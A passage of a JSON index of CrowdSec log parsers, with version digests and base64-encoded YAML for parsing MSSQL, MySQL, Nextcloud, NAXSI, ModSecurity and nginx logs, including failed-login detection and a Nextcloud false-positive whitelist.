CAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogbW9kc2VjdXJpdHkKICAgICAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5yZW1vdGVfYWRkcgogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lCiAgICAgICAgLSBtZXRhOiBydWxlX2lkCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnJ1bGVpZAogICAgICAgIC0gbWV0YTogbW9kc2VjX21lc3NhZ2UKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucnVsZW1lc3NhZ2UKICAgICAgICAtIG1ldGE6IG1vZHNlY19ydWxlZGF0YQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5ydWxlZGF0YQoK", "description": "A parser for modsecurity WAF", "author": "crowdsecurity", "labels": null }, "crowdsecurity/mssql-logs": { "path": "parsers/s01-parse/crowdsecurity/mssql-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "9c99578104a9158ada41bb8dd920575a83d494e6f6e2d166eb5773fb4d7023b1", "deprecated": false }, "0.2": { "digest": "2c39d0c3f1cf4124d5e3cc113c733b2ef220522d01706b5434382240de10b147", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBNU1NRTCBMb2dzIHZpYSB3aW5ldmVudGxvZyBPUiBNU1NRTCBsb2dzIGZvciBbQXp1cmUtRWRnZS1TcWxdKGh0dHBzOi8vaHViLmRvY2tlci5jb20vXy9taWNyb3NvZnQtYXp1cmUtc3FsLWVkZ2UpIHZpYSBkb2NrZXIKCmBgYHlhbWwKLS0tCnNvdXJjZTogd2luZXZlbnRsb2cKZXZlbnRfY2hhbm5lbDogQXBwbGljYXRpb24KZXZlbnRfaWRzOgogLSAxODQ1NgpldmVudF9sZXZlbDogaW5mb3JtYXRpb24KbGFiZWxzOgogdHlwZTogbXNzcWwKLS0tCnNvdXJjZTogZG9ja2VyCmNvbnRhaW5lcl9pZDoKIC0gPERvY2tlciBDb250YWluZXIgSUQ+ICNBenVyZS1FZGdlLVNxbCBjb250YWluZXIgSUQKY29udGFpbmVyX25hbWVfcmVnZXhwOgogLSAuKm1zc3FsKgpsYWJlbHM6CiAgdHlwZTogbXNzcWwKYGBgCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbXNzcWwtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIG1zc3FsIGxvZ3MiCmZpbHRlcjogImV2dC5QYXJzZWQuQ2hhbm5lbCA9PSAnQXBwbGljYXRpb24nICYmIGV2dC5QYXJzZWQuU291cmNlID09ICdNU1NRTFNFUlZFUicgJiYgZXZ0LlBhcnNlZC5FdmVudElEID09ICcxODQ1NiciCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogIlJlYXNvbjogUGFzc3dvcmQgZGlkIG5vdCBtYXRjaCB0aGF0IGZvciB0aGUgbG9naW4gcHJvdmlkZWRcXC4iCiAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbMl0iKQogICAgbm9kZXM6CiAgICAgIC0gZ3JvazoKICAgICAgICAgIHBhdHRlcm46ICJcXFtDTElFTlQ6ICV7SVA6c291cmNlX2lwfVxcXSIKICAgICAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbM10iKQogICAgICAgICAgc3RhdGljczoKICAgICAgICAgICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNvdXJjZV9pcAogICAgc3RhdGljczoKICAgICAgLSBtZXRhOiBzdWJ0eXBlCiAgICAgICAgdmFsdWU6IGJhZF9wYXNzd29yZAogIC0gZ3JvazoKICAgICAgcGF0dGVybjogIlJlYXNvbjogQ291bGQgbm90IGZpbmQgYSBsb2dpbiBtYXRjaGluZyB0aGUgbmFtZSBwcm92aWRlZFxcLiIKICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVsyXSIpCiAgICBub2RlczoKICAgICAgLSBncm9rOgogICAgICAgICAgcGF0dGVybjogIlxcW0NMSUVOVDogJXtJUDpzb3VyY2VfaXB9XFxdIgogICAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVszXSIpCiAgICAgICAgICBzdGF0aWNzOgogICAgICAgICAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc291cmNlX2lwCiAgICBzdGF0aWNzOgogICAgICAtIG1ldGE6IHN1YnR5cGUKICAgICAgICB2YWx1ZTogYmFkX3VzZXIKc3RhdGljczoKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogbXNzcWxfZmFpbGVkX2F1dGgKICAtIG1ldGE6IHVzZXIKICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbMV0iKQotLS0Kb25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbXNzcWwtdGV4dC1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgbXNzcWwgbG9ncyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdtc3NxbCciCnBhdHRlcm5fc3ludGF4OgogIERBVEVfWU1EOiAiJXtZRUFSOnllYXJ9LSV7TU9OVEhOVU06bW9udGh9LSV7TU9OVEhEQVk6ZGF5fSIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAiJXtEQVRFX1lNRDpkYXRlfSAle1RJTUU6dGltZX0gTG9nb24uKkxvZ2luIGZhaWxlZCBmb3IgdXNlciAnJXtOT1REUVVPVEU6dXNlcn0nLiBSZWFzb246ICV7R1JFRURZREFUQTpyZWFzb25fbWVzc2FnZX0uIFxcW0NMSUVOVDogJXtJUE9SSE9TVDpzb3VyY2VfaXB9XFxdIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCiAgICBub2RlczoKICAgICAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLnJlYXNvbl9tZXNzYWdlID09ICdQYXNzd29yZCBkaWQgbm90IG1hdGNoIHRoYXQgZm9yIHRoZSBsb2dpbiBwcm92aWRlZCciCiAgICAgICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCiAgICAgICAgc3RhdGljczoKICAgICAgICAgIC0gbWV0YTogc3VidHlwZQogICAgICAgICAgICB2YWx1ZTogYmFkX3Bhc3N3b3JkCiAgICAgIC0gZmlsdGVyOiAiZXZ0LlBhcnNlZC5yZWFzb25fbWVzc2FnZSA9PSAnQ291bGQgbm90IGZpbmQgYSBsb2dpbiBtYXRjaGluZyB0aGUgbmFtZSBwcm92aWRlZCciCiAgICAgICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCiAgICAgICAgc3RhdGljczoKICAgICAgICAgIC0gbWV0YTogc3VidHlwZQogICAgICAgICAgICB2YWx1ZTogYmFkX3VzZXIKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogbXNzcWwKICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgdmFsdWU6IG1zc3FsX2ZhaWxlZF9hdXRoCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuZGF0ZSArICcgJyArIGV2dC5QYXJzZWQudGltZSI=", "description": "Parse mssql logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/mysql-logs": { "path": "parsers/s01-parse/crowdsecurity/mysql-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "9ad9acb6f2c62c6d38c8b662a22af412f6bb0d73f14197b5136cc2c777a3865b", "deprecated": false }, "0.2": { "digest": "4d2fb3da27c9e65b95fe74f962b0ed1f246f2312ca48b8e9fc95e073488a0809", "deprecated": false }, "0.3": { "digest": "e87dcc2182097881e9b90183917fa6e482e5dbe5a03420aab7c0d62b039cb0dd", "deprecated": false } }, "long_description": "TXlzcWwgYXV0aGVudGljYXRpb24gZmFpbCBwYXJzZXIuCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbXlzcWwtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIE15U1FMIGxvZ3MiCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnbXlzcWwnIgpncm9rOgogIHBhdHRlcm46ICIle1RJTUVTVEFNUF9JU084NjAxOnRpbWV9ICV7TlVNQkVSfSBcXFtOb3RlXFxdKCBcXFsle0RBVEE6ZXJyX2NvZGV9XFxdIFxcWyV7REFUQTpzdWJzeXN0ZW19XFxdKT8gQWNjZXNzIGRlbmllZCBmb3IgdXNlciAnJXtEQVRBOnVzZXJ9J0AnJXtJUDpzb3VyY2VfaXB9JyBcXCh1c2luZyBwYXNzd29yZDogJXtXT1JEOnVzaW5nX3Bhc3N3b3JkfVxcKSIKICBhcHBseV9vbjogbWVzc2FnZQpzdGF0aWNzOgogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBteXNxbF9mYWlsZWRfYXV0aAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgLSBtZXRhOiB1c2VyCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VyIg==", "description": "Parse MySQL logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/naxsi-logs": { "path": "parsers/s02-enrich/crowdsecurity/naxsi-logs.yaml", "stage": "s02-enrich", "version": "0.1", "versions": { "0.1": { "digest": "c8b9f9ffdc82619cfc9ef10be9ba18513f702688d86d5c48a5cffb525499a8f0", "deprecated": false } }, "content": "I2xldCdzIHRyeSB0byBwb3N0LXByb2Nlc3MgbmdpbnggZXJyb3IgbG9nIHRvIGhhdmUgbmF4c2kgcGF0dGVybgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnaHR0cF9lcnJvci1sb2cnICYmIGV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnbmdpbngnIgpkZXNjcmlwdGlvbjogIkVucmljaCBsb2dzIGlmIGl0cyBmcm9tIE5BWFNJIgpuYW1lOiBjcm93ZHNlY3VyaXR5L25heHNpLWxvZ3MKZ3JvazoKICBuYW1lOiAiTkFYU0lfRVhMT0ciCiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIHRhcmdldDogZXZ0Lk1ldGEubG9nX3R5cGUKICAgIHZhbHVlOiB3YWZfbmF4c2ktbG9nCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLm5heHNpX3NyY19pcCIKICAtIG1ldGE6IGh0dHBfcGF0aAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuaHR0cF9wYXRoIgogIC0gbWV0YTogZGVzdF9pcAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudGFyZ2V0X2lwIg==", "description": "Enrich logs if its from NAXSI", "author": "crowdsecurity", "labels": null }, "crowdsecurity/nextcloud-logs": { "path": "parsers/s01-parse/crowdsecurity/nextcloud-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "072ff18cde784aedbe88ded5742860fcdf5000c3b56f10ca4d5fc2ec0b8166d7", "deprecated": false }, "0.2": { "digest": "a83ed98682243d1e6fd1b07e763746f7dd05a2bffb18f6cbad646ec863b622de", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbTmV4dGNsb3VkXShodHRwczovL25leHRjbG91ZC5jb20vKSBsb2dzCgpJZiB5b3UgaGF2ZSB0aGUgZGVmYXVsdCBbc2V0dGluZ10oaHR0cHM6Ly9kb2NzLm5leHRjbG91ZC5jb20vc2VydmVyL3N0YWJsZS9hZG1pbl9tYW51YWwvY29uZmlndXJhdGlvbl9zZXJ2ZXIvY29uZmlnX3NhbXBsZV9waHBfcGFyYW1ldGVycy5odG1sP2hpZ2hsaWdodD1sb2dsZXZlbCNsb2dnaW5nKQpvZiBsb2dnaW5nIHRvIGZpbGUsIHlvdSBuZWVkIHRvIGFkZCBpbiBhY3F1aXNpdGlvbiAoY2hhbmdlIGZpbGVuYW1lIHRvIHlvdXIgbG9nIGZpbGUgbG9jYXRpb24pOgoKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvdmFyL3d3dy9uZXh0Y2xvdWQvZGF0YS9uZXh0Y2xvdWQubG9nCmxhYmVsczoKICB0eXBlOiBOZXh0Y2xvdWQKYGBgCgpJZiB5b3UgYXJlIHNlbmRpbmcgbG9ncyB0byBzeXNsb2cgb3Igc3lzdGVtZCBhbmQgcmVhZCBmcm9tIGpvdXJuYWxkLCBhZGQ6CmBgYHlhbWwKLS0tCnNvdXJjZTogam91cm5hbGN0bApqb3VybmFsY3RsX2ZpbHRlcjoKICAtICJTWVNMT0dfSURFTlRJRklFUj1OZXh0Y2xvdWQiCmxhYmVsczoKICB0eXBlOiBzeXNsb2cKYGBgCg==", "content": "LS0tCm9uc3VjY2VzczogbmV4dF9zdGFnZQpmaWx0ZXI6ICJVcHBlcihldnQuUGFyc2VkLnByb2dyYW0pID09ICdORVhUQ0xPVUQnIgpuYW1lOiBjcm93ZHNlY3VyaXR5L25leHRjbG91ZC1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgbmV4dGNsb3VkIGxvZ3MiCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJ0xvZ2luIGZhaWxlZDogJXtVU0VSTkFNRTp0YXJnZXRfdXNlcn0gXChSZW1vdGUgSVA6ICV7SVA6c291cmNlX2lwfVwpJwogICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJtZXNzYWdlIikKICAgIHN0YXRpY3M6CiAgICAgIC0gbWV0YTogdGFyZ2V0X3VzZXIKICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50YXJnZXRfdXNlciIKICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgIHZhbHVlOiBuZXh0Y2xvdWRfZmFpbGVkX2F1dGgKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdCcnV0ZWZvcmNlIGF0dGVtcHQgZnJvbSBcXD8iJXtJUDpzb3VyY2VfaXB9XFw/IiBkZXRlY3RlZCBmb3IgYWN0aW9uIFxcPyIle0RBVEE6YWN0aW9ufVxcPyInCiAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgIm1lc3NhZ2UiKQogICAgc3RhdGljczoKICAgICAgLSBtZXRhOiBhY3Rpb24KICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5hY3Rpb24iCiAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICB2YWx1ZTogbmV4dGNsb3VkX2JydXRlZm9yY2VfYXR0ZW1wdAoKI3sicmVxSWQiOiJkQ0EzOW1ORzNOSEx3YmliVkNGcCIsImxldmVsIjoxLCJ0aW1lIjoiMjAyMy0wMi0xNFQxNzoyODozMyswMDowMCIsInJlbW90ZUFkZHIiOiIxNzIuMTguMC4yMDAiLCJ1c2VyIjoiLS0iLCJhcHAiOiJjb3JlIiwibWV0aG9kIjoiR0VUIiwidXJsIjoiLyIsIm1lc3NhZ2UiOiJUcnVzdGVkIGRvbWFpbiBlcnJvci4gXCIxNzIuMTguMC4yMDBcIiB0cmllZCB0byBhY2Nlc3MgdXNpbmcgXCJrbG9vdC5yb25zbWFucy5ldVwiIGFzIGhvc3QuIiwidXNlckFnZW50IjoiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTAuMTU7IHJ2OjEwOS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwOS4wIiwidmVyc2lvbiI6IjI1LjAuMy4yIiwiZGF0YSI6eyJhcHAiOiJjb3JlIn19CgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJ1RydXN0ZWQgZG9tYWluIGVycm9yLiBcXCIle0lQOnNvdXJjZV9pcH1cXCIuKicKICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAibWVzc2FnZSIpCiAgICBzdGF0aWNzOgogICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgdmFsdWU6IG5leHRjbG91ZF9kb21haW5fZXJyb3IKCnN0YXRpY3M6CiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogbmV4dGNsb3VkCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInRpbWUiKQo=", "description": "Parse nextcloud logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/nextcloud-whitelist": { "path": "parsers/s02-enrich/crowdsecurity/nextcloud-whitelist.yaml", "stage": "s02-enrich", "version": "0.3", "versions": { "0.1": { "digest": "7685c823a398a711b76afea742ebeb2637ac55c829eafba841b63504b1e2228e", "deprecated": false }, "0.2": { "digest": "15ef491d0966d5796364e53ee9d1755888696feaff16522b2a1b06536b47ea78", "deprecated": false }, "0.3": { "digest": "a8c2afddb978e2dd08559c11dfd1a8d220b3667047adc3c4140ee6643b7ae8fa", "deprecated": false } }, "long_description": "IyMgTmV4dGNsb3VkIHdoaXRlbGlzdAoKIyMjIENvbnRhY3RzIGFwcApDb250YWN0cyBoYXMgYW4gaXNzdWUgd2l0aCBleGNlc3NpdmUgNDA0IHJlc3BvbnNlIGNvZGVzIHdoZW4gYSB1c2VyIGltYWdlIGlzIG1pc3NpbmcKW1Vwc3RyZWFtIGlzc3VlXShodHRwczovL2dpdGh1Yi5jb20vbmV4dGNsb3VkL2NvbnRhY3RzL2lzc3Vlcy8zMDIxKQoKLS0tCiMjIyBQaG90b3MgYXBwCk9uIGZpcnN0IGxvYWQgdGhlIHBob3RvcyBhcHAgY2FsbHMgYSBwcmV2aWV3IGVuZHBvaW50LCBob3dldmVyLCBpZiBpdCBmYWlscyB0byBsb2FkIGl0IHdpbGwgdHJpZ2dlciBodHRwLXByb2JpbmcKCi0tLQojIyMgQmFja3VwIGFwcApXaGVuIGxvYWRpbmcgYmFja3VwcyBmb3IgYSBmaWxlIGlmIHRob3NlIGJhY2t1cHMgaGF2ZSBiZWVuIG1vZGlmaWVkIG9yIGRlbGV0ZWQgYnkgKE9TL1VTRVIpIGl0IGNhbiBlYXNpbHkgdHJpZ2dlciBodHRwLXByb2JpbmcKCi0tLQojIyMgRmlsZXMgYXBwClRoZSBgL2NvcmUvcHJldmlld2AgZW5kcG9pbnQgcmV0dXJucyA0MDQgaWYgYSBmaWxlIGhhcyBubyB0aHVtYm5haWwgKGluY2x1ZGluZyBmaWxlcyB3aGljaCBhcmVuJ3QgbWVhbnQgdG8sIGxpa2UgWE1McykuClRoaXMgY2FuIHRyaWdnZXIgaHR0cC1wcm9iaW5nIHdoZW4gdXNpbmcgdGhlIGZpbGUgc2VhcmNoIGJhci4KCi0tLQojIyMgQ3JlYXRpbmcgZmlsZXMgdmlhIFdlYkRBVgpXaGVuIHVwbG9hZGluZyBmaWxlcyB2aWEgV2ViREFWLCBhIFBST1BGSU5EIHJlcXVlc3QgaXMgc2VudCB0byB0aGUgc2VydmVyLCB3aGljaCByZXR1cm5zIDQwNCBpZiB0aGUgZmlsZSBkb2VzIG5vdApleGlzdC4gVGhlbiB0aGUgZmlsZSBpcyBjcmVhdGVkLiBVcGxvYWRpbmcgbW9yZSB0aGFuIDEwIGZpbGVzIGF0IGEgdGltZSB3aWxsIHRyaWdnZXIgaHR0cC1wcm9iaW5nLg==", "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9uZXh0Y2xvdWQtd2hpdGVsaXN0CmRlc2NyaXB0aW9uOiAiV2hpdGVsaXN0IGV2ZW50cyBmcm9tIG5leHRjbG91ZCIKZmlsdGVyOiAiZXZ0Lk1ldGEuc2VydmljZSA9PSAnaHR0cCcgJiYgZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWydodHRwX2FjY2Vzcy1sb2cnLCAnaHR0cF9lcnJvci1sb2cnXSIKd2hpdGVsaXN0OgogIHJlYXNvbjogIk5leHRjbG91ZCBXaGl0ZWxpc3QiCiAgZXhwcmVzc2lvbjoKICAgLSBldnQuTWV0YS5odHRwX3N0YXR1cyA9PSAnNDA0JyAmJiBldnQuTWV0YS5odHRwX3ZlcmIgPT0gJ0dFVCcgJiYgZXZ0LlBhcnNlZC5maWxlX2V4dCA9PSAnLnZjZicgJiYgZXZ0LlBhcnNlZC5odHRwX2FyZ3MgY29udGFpbnMgInBob3RvIiAjQ29udGFjdHMgYXBwIC52Y2YgbWlzc2luZyBwaG90bwogICAtIGV2dC5NZXRhLmh0dHBfc3RhdHVzID09ICc0MDQnICYmIGV2dC5NZXRhLmh0dHBfdmVyYiA9PSAnR0VUJyAmJiBldnQuTWV0YS5odHRwX3BhdGggY29udGFpbnMgJy9hcHBzL2ZpbGVzX3ZlcnNpb25zL3ByZXZpZXcnICYmIGV2dC5QYXJzZWQuaHR0cF9hcmdzIGNvbnRhaW5zICd2ZXJzaW9uJyAjQmFja3VwIGFwcCBtaXNzaW5nIGZpbGUgdmVyc2lvbgogICAtIGV2dC5NZXRhLmh0dHBfc3RhdHVzID09ICc0MDQnICYmIGV2dC5NZXRhLmh0dHBfdmVyYiA9PSAnR0VUJyAmJiBldnQuTWV0YS5odHRwX3BhdGggY29udGFpbnMgJy9hcHBzL3Bob3Rvcy9hcGkvdjEvcHJldmlldycgJiYgZXZ0LlBhcnNlZC5odHRwX2FyZ3MgY29udGFpbnMgJ3gnICYmIGV2dC5QYXJzZWQuaHR0cF9hcmdzIGNvbnRhaW5zICd5JyAjUGhvdG8gYXBwIGxvYWRzIGFsbCBwcmV2aWV3cyBhcyBzbWFsbCBwYW5lcywgYnV0IGNhbiA0MDQKICAgLSBldnQuTWV0YS5odHRwX3N0YXR1cyA9PSAnNDA0JyAmJiBldnQuTWV0YS5odHRwX3ZlcmIgPT0gJ0dFVCcgJiYgZXZ0LlBhcnNlZC5yZXF1ZXN0ID09ICcvY29yZS9wcmV2aWV3JyAmJiBldnQuUGFyc2VkLmh0dHBfYXJncyBjb250YWlucyAneD0nICYmIGV2dC5QYXJzZWQuaHR0cF9hcmdzIGNvbnRhaW5zICd5PScgJiYgZXZ0LlBhcnNlZC5odHRwX2FyZ3MgY29udGFpbnMgJ2ZpbGVJZD0nICNGaWxlIHByZXZpZXcgb2Z0ZW4gNDA0cyB3aGlsZSBzZWFyY2hpbmcKICAgLSBldnQuTWV0YS5odHRwX3N0YXR1cyA9PSAnNDA0JyAmJiBldnQuTWV0YS5odHRwX3ZlcmIgPT0gJ1BST1BGSU5EJyAmJiBldnQuTWV0YS5odHRwX3BhdGggc3RhcnRzV2l0aCAnL3JlbW90ZS5waHAvd2ViZGF2LycgI1VwbG9hZGluZyBuZXcgZmlsZXMgdmlhIFdlYkRBViBhbHdheXMgcHJvZHVjZXMgYSA0MDQK", "description": "Whitelist events from nextcloud", "author": "crowdsecurity", "labels": null }, "crowdsecurity/nginx-logs": { "path": "parsers/s01-parse/crowdsecurity/nginx-logs.yaml", "stage": "s01-parse", "version": "1.3", "versions": { "0.1": { "digest": "60ba29ab5a5a49214664344b57403fab932e70bb1493203e83dc7df4f66b2059", "deprecated": false }, "0.2": { "digest": "eae9b00d93c9e86f4b909bf0b0ce7dee821834702bc99c29213ebeca86054367", "deprecated": false }, "0.3": { "digest": "7e6aeff6e07708806ffdc92b81b290cb41da8ddf95c2a1933f59f6b36ba62ace", "deprecated": false }, "0.4": { "digest": "c1a14a662419b6edc17078467cea654082f02925961341e29fead330d11174ff", "deprecated": false }, "0.5": { "digest": "81aee3a0a3eb3f603d846ba17b7efbae49d1169a13a49099a4e16b929cc20747", "deprecated": false }, "0.6": { "digest": "1c1ac2988fce3691f5b571886921ba4d92563ba739756b9d112c58370e55a830", "deprecated": false }, "0.7": { "digest": "2e209cb2f4277ccc854254a3dc627bc3d96e9f29ccb4756129d9b0c32964515e", "deprecated": false }, "0.8": { "digest": "ea536d0d2c336ffc1720bb6d7678839f0488c1fca96614327396afd2f92ae9fc", "deprecated": false }, "0.9": { "digest": "b30a1fb8efb8148f9444587a8bfb9558fd6c28f898644fd140f7995ffa302c68", "deprecated": false }, "1.0": { "digest": "3e1f4e967e6088b83b8191c357cd5dc8ab5842200ffd47de7b5e8ddd8f2b28f7", "deprecated": false }, "1.1": { "digest": "2d3bc9c768099ff55fc8948879bf3f57c35d37f834916a490b72094d5dc8812d", "deprecated": false }, "1.2": { "digest": "e2cf65e3272cf7c269ffcb2282f6e6f9169a8acec98a97acae96d90f3f8b30dd", "deprecated": false }, "1.3": { "digest": "b76ec30d100908555f3d2085f12338b6366a6286cbf00dc5ae590cc7d8f7373f", "deprecated": false } }, "long_description": "QSBnZW5lcmljIHBhcnNlciBmb3IgbmdpbngsIHN1cHBvcnQgYm90aCBhY2Nlc3MgYW5kIGVycm9yIGxvZ3MuClRoaXMgcGFyc2VyIHN1cHBvcnQgYWxzbyBpbmdyZXNzIG5naW54IGNvbnRyb2xsZXIgZGVmYXVsdCBbbG9nX2Zvcm1hdF0oaHR0cHM6Ly9rdWJlcm5ldGVzLmdpdGh1Yi5pby9pbmdyZXNzLW5naW54L3VzZXItZ3VpZGUvbmdpbngtY29uZmlndXJhdGlvbi9sb2ctZm9ybWF0LykKCgoqbm90ZSA6ICogSWYgeW91IGFyZSBhZ2dyZWdhdGluZyBsb2dzIGZyb20gc2V2ZXJhbCBkb21haW5zLCBwcmVmaXggeW91ciBsb2dsaW5lIHdpdGggdGhlIHRhcmdldCBGUUROLiBIVFRQIGJhc2VkIHNjZW5hcmlvcyBzaG91bGQgdGFrZSB0aGlzIGludG8gYWNjb3VudCBzbyB0aGF0IGJ1Y2tldHMgYXJlIF9wZXJfIHNvdXJjZSBJUCBwZXIgdGFyZ2V0IEZRRE4sIGxpbWl0aW5nIGZhbHNlIHBvc2l0aXZlcyBkdWUgdG8gbG9ncyBtdWx0aXBsZXhpbmcuCgo=", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ25naW54JyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbmdpbngtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIG5naW54IGFjY2VzcyBhbmQgZXJyb3IgbG9ncyIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnKCV7SVBPUkhPU1Q6dGFyZ2V0X2ZxZG59ICk/JXtJUE9SSE9TVDpyZW1vdGVfYWRkcn0gLSAoJXtOR1VTRVI6cmVtb3RlX3VzZXJ9KT8gXFsle0hUVFBEQVRFOnRpbWVfbG9jYWx9XF0gIiV7V09SRDp2ZXJifSAle0RBVEE6cmVxdWVzdH0gSFRUUC8le05VTUJFUjpodHRwX3ZlcnNpb259IiAle05VTUJFUjpzdGF0dXN9ICV7TlVNQkVSOmJvZHlfYnl0ZXNfc2VudH0gIiV7Tk9URFFVT1RFOmh0dHBfcmVmZXJlcn0iICIle05PVERRVU9URTpodHRwX3VzZXJfYWdlbnR9IiggJXtOVU1CRVI6cmVxdWVzdF9sZW5ndGh9ICV7TlVNQkVSOnJlcXVlc3RfdGltZX0gXFsle0RBVEE6cHJveHlfdXBzdHJlYW1fbmFtZX1cXSBcWyV7REFUQTpwcm94eV9hbHRlcm5hdGl2ZV91cHN0cmVhbV9uYW1lfVxdKT8nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGh0dHBfYWNjZXNzLWxvZwogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lX2xvY2FsCiAgLSBncm9rOgogICAgICAjIGFuZCB0aGlzIG9uZSB0aGUgZXJyb3IgbG9nCiAgICAgIHBhdHRlcm46ICcoJXtJUE9SSE9TVDp0YXJnZXRfZnFkbn0gKT8le05HSU5YRVJSVElNRTp0aW1lfSBcWyV7TE9HTE